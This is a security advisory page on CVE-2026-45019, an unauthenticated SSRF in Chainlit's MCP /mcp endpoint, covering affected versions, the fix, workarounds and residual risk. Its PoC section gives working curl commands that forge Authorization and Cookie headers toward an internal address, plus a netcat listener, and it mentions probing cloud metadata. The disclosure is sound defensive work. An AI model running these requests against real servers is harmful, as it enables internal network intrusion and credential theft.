CVE-2026-45019: Chainlit: SSRF via MCP SSE and streamable-http transports allows unauthenticated internal network access

Published Aug 25, 2026
·
Updated

Am I affected?

Only if your deployment sets features.mcp.enabled = true in .chainlit/config.toml. MCP has been disabled by default since v2.7.0, so most Chainlit deployments are not affected. No authentication is required: /mcp is reachable by any client that can open a session.

Summary

When MCP is enabled (features.mcp.enabled = true), the POST /mcp endpoint for sse and streamable-http transports accepts a user-controlled url and optional headers dictionary without any validation. An unauthenticated attacker can force the Chainlit server to make outbound HTTP requests to arbitrary URLs — including internal network services and cloud metadata endpoints — with attacker-controlled HTTP headers such as Authorization and Cookie.

Affected / patched versions

| | | |---|---| | CVE | CVE-2026-45019 | | Affected — URL-based SSRF | >=2.4.0rc0, <2.12.0 (sink present since MCP support was introduced, PR #1977) | | Affected — attacker-controlled header forwarding (amplifies the above) | >=2.6.4, <2.12.0 (added in PR #2292) | | Patched | 2.12.0 (releasing 2026-08-25) |

Details

The Pydantic request models in backend/chainlit/types.py define url as a bare str with no scheme check, no private IP filtering, and no allowlist. When clientType is "sse" or "streamable-http", the handler in backend/chainlit/server.py passes the URL and headers directly to the MCP SDK's sseclient() or streamablehttpclient(), which make outbound HTTP requests from the server.

The SSE URL sink has existed since MCP support was first introduced in v2.4.0rc0 (PR #1977). PR #2292 (merged 2025-07-30, released in v2.6.4) added streamable-http support and introduced attacker-controlled headers forwarding for both transports. This amplified the SSRF from a simple URL-based request to one where the attacker can set arbitrary HTTP headers like Authorization and Cookie.

This is a blind SSRF: the server makes the outbound request, but the response is consumed internally by the MCP client and never returned to the attacker. In cloud environments, an attacker could probe metadata endpoints (e.g., 169.254.169.254).

Vulnerable code: backend/chainlit/server.py — connectmcp handler Sink: backend/chainlit/server.py — sseclient / streamablehttpclient

PoC

Tested against Chainlit 2.11.0 with features.mcp.enabled = true and a local TCP listener.

1. Start a listener to capture the server-side request:

bash nc -l 4445

2. Establish a Socket.IO session and trigger the SSRF:

bash EIOSID=$(curl -s 'http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling' \ | python3 -c "import sys,json; print(json.loads(sys.stdin.read()[1:])['sid'])")

curl -s -X POST \ "http://TARGET:8000/ws/socket.io/?EIO=4&transport=polling&sid=$EIOSID" \ -d '40{"sessionId":"ssrf","userEnv":"{}","clientType":"webapp"}'

curl -s -X POST 'http://TARGET:8000/mcp' \ -H 'Content-Type: application/json' \ -d '{ "sessionId": "ssrf", "clientType": "streamable-http", "name": "probe", "url": "http://127.0.0.1:4445/internal-admin", "headers": { "Authorization": "Bearer attacker-controlled-token", "X-Internal-Secret": "exfiltrated", "Cookie": "session=hijacked" } }'

3. The listener captures the server-side request with all attacker-controlled headers:

POST /internal-admin HTTP/1.1 Host: 127.0.0.1:4445 Authorization: Bearer attacker-controlled-token X-Internal-Secret: exfiltrated Cookie: session=hijacked

Impact

High. An unauthenticated attacker can force the Chainlit server to make HTTP requests to arbitrary internal or external services, with fully attacker-controlled headers.

Although this is a blind SSRF — the response body is never returned to the attacker — the vulnerable versions apply no allowlist to either the destination URL or the headers. Full control over both is enough to issue state-changing, authenticated requests to internal APIs: the PoC above is itself a POST carrying a forged Authorization header. Write operations against internal services do not require reading the response to have effect, so this goes beyond passive reconnaissance. The same primitive also enables internal service discovery, port scanning, and probing cloud metadata endpoints (e.g., AWS IMDSv1 at 169.254.169.254). Any Chainlit deployment with MCP enabled is affected.

Fix

Chainlit 2.12.0 introduces an opt-in, allowlist-based model for user-provided SSE / streamable-http connections:

- User-provided MCP connections now require explicit opt-in via features.mcp.userservers.enabled = true, plus a non-empty allowedurls allowlist. The default is deny-all — no outbound URL is permitted unless explicitly listed. - URLs are validated: http/https only, with scheme/host/port/path-prefix matching against the allowlist. Requests with ./.. path segments, encoded separators (%2e, %2f, %5c), double-encoded sequences (%25), backslashes, or non-ASCII characters in the path are rejected. - Restricted headers are stripped from user-supplied headers before the request is sent: Cookie, Host, Forwarded, X-Forwarded-, X-Real-IP, Via, Proxy-Authorization, X-HTTP-Method-Override, X-Original-URL, X-Rewrite-URL, and hop-by-hop headers. Authorization is deliberately still forwarded — for user-provided servers, passing a caller-supplied credential to the allowlisted target is the point of the feature, and the destination is now constrained by allowedurls. - Named (developer-configured) server URLs and headers are no longer returned to the browser, on either the success or the error path, and GET /project/settings no longer discloses allowedurls.

During remediation the maintainers also identified and closed two ways an allowlist could otherwise be bypassed once introduced. Neither adds to the pre-fix impact described above, since the vulnerable versions had no allowlist to bypass in the first place — they are hardening measures for the new allowlist:

- HTTP redirects are no longer followed on MCP transports. The underlying SDK hardcoded followredirects=True, so only the first hop of a request would ever have been checked against an allowlist. - Every outgoing transport request is now re-checked against the connection's grant, not just the initial URL. The MCP SSE protocol takes its POST target from the server's endpoint event, and the SDK validates only scheme and host on that event, so an allowlisted server could otherwise redirect subsequent writes elsewhere on the same host.

A companion advisory (CVE-2026-45018) covers the corresponding fix for command injection via the stdio transport.

Workarounds

If you cannot upgrade immediately:

- Set features.mcp.enabled = false in .chainlit/config.toml. This fully prevents exploitation of this issue (and of the companion stdio command-injection issue, CVE-2026-45018). - Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint). - Configure authentication (register an auth callback) so that /mcp requires an authenticated session. This does not eliminate the SSRF for authenticated users, but removes the unauthenticated attack path.

Upgrading to 2.12.0

Breaking change. 2.12.0 changes how MCP servers are configured. If .chainlit/config.toml still uses the legacy [features.mcp.sse], [features.mcp.stdio], or [features.mcp.streamable-http] sections, or the allowedexecutables setting, the application will fail to start once MCP is enabled, until you migrate to the new [[features.mcp.servers]] / allowedurls configuration. See the migration guide in CHANGELOG.md before upgrading. Deployments with features.mcp.enabled = false are not affected by this startup check.

Residual risk after upgrading

- On deployments with no authentication configured, /mcp remains reachable anonymously after upgrading, because getcurrentuser returns None when no auth callback is registered. Where features.mcp.userservers.enabled = true, an anonymous client can therefore still drive outbound requests to any URL on the allowedurls allowlist, with an Authorization header of its own choosing. - There is no private-IP or IP-literal blocking. The allowlist is hostname-based, so a DNS name that resolves to a loopback, link-local, or cloud metadata address is not rejected. Closing this without introducing a TOCTOU window requires resolve-then-pin validation, which is deliberately deferred rather than shipped as a partial mitigation. - Header filtering in 2.12.0 is a denylist, not an allowlist. An allowlist model is the intended future direction.

Credits

Vipin <vipin@spl.team> SPL <security@spl.team>

Other sources

Chainlit is a Python framework for building production-ready conversational AI applications. From 2.4.0rc0 until 2.12.0, Chainlit deployments with features.mcp.enabled set to true in .chainlit/config.toml expose the POST /mcp endpoint without requiring authentication. For sse and streamable-http transports, ConnectSseMCPRequest and ConnectStreamableHttpMCPRequest in backend/chainlit/types.py accept a user-controlled url and optional headers dictionary without scheme validation, private-address filtering, or an allowlist. The connectmcp handler in backend/chainlit/server.py passes these values to sseclient() or streamablehttpclient(), allowing the Chainlit server to make blind outbound requests to arbitrary internal or external services, including cloud metadata endpoints, with attacker-controlled Authorization and Cookie headers. The SSE URL sink has existed since 2.4.0rc0, while attacker-controlled header forwarding and streamable-http support were added in 2.6.4. The response is consumed internally and not returned, but the attacker can issue state-changing authenticated requests, discover internal services, scan ports, and probe metadata endpoints. This issue is fixed in version 2.12.0.

MITRE

Affected Software

1 affected componentFixes available
pip/chainlit>=2.4.0rc0<=2.11.1
2.12.0

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade pip/chainlit to a version that resolves this vulnerability.

    Fixed in 2.12.0
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 2.12.0
  3. Configuration

    Set `features.mcp.enabled = false` in `.chainlit/config.toml` to prevent the vulnerable MCP SSE/streamable-http `/mcp` endpoint from being reachable for MCP transports.

    Chainlit (.chainlit/config.toml) - MCP feature features.mcp.enabled = false
  4. Configuration

    If you need user-provided MCP servers, set `features.mcp.user_servers.enabled = true` and provide a non-empty `allowed_urls` allowlist (user-provided MCP connections require explicit opt-in plus an allowlist).

    Chainlit (.chainlit/config.toml) - MCP user servers features.mcp.user_servers.enabled = true
  5. Configuration

    Configure the MCP `allowed_urls` allowlist with explicit HTTP/HTTPS destinations to constrain outbound `sse_client` / `streamablehttp_client` requests (URLs validated as http/https only; destination constrained by the allowlist).

    Chainlit (.chainlit/config.toml) - MCP allowed URLs allowlist allowed_urls = non-empty
  6. Compensating control

    Restrict outbound network egress from the host running Chainlit (e.g., firewall rules blocking access to internal address ranges and the cloud metadata endpoint, such as 169.254.169.254).

Event History

Aug 25, 2026
CVE Published
via MITRE·07:20 PM
Data Sourced
via MITRE·07:20 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·07:21 PM
Data Sourced
via GitHub·07:21 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are exposed?

Only deployments that explicitly enable MCP with features.mcp.enabled = true in .chainlit/config.toml are affected. MCP has been disabled by default since version 2.7.0, so deployments using the default configuration are not affected.

2

What does an attacker need to exploit this issue?

No authentication is required. Any client able to open a session and reach the /mcp endpoint can submit a user-controlled URL through the sse or streamable-http transports.

3

Which versions require remediation?

URL-based SSRF affects versions from 2.4.0rc0 through versions before 2.12.0. Attacker-controlled header forwarding affects versions from 2.6.4 through versions before 2.12.0; version 2.12.0 is patched.

4

What can be done if upgrading is not immediately possible?

Disable MCP by ensuring features.mcp.enabled is not set to true in .chainlit/config.toml. This removes exposure through the affected /mcp functionality.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203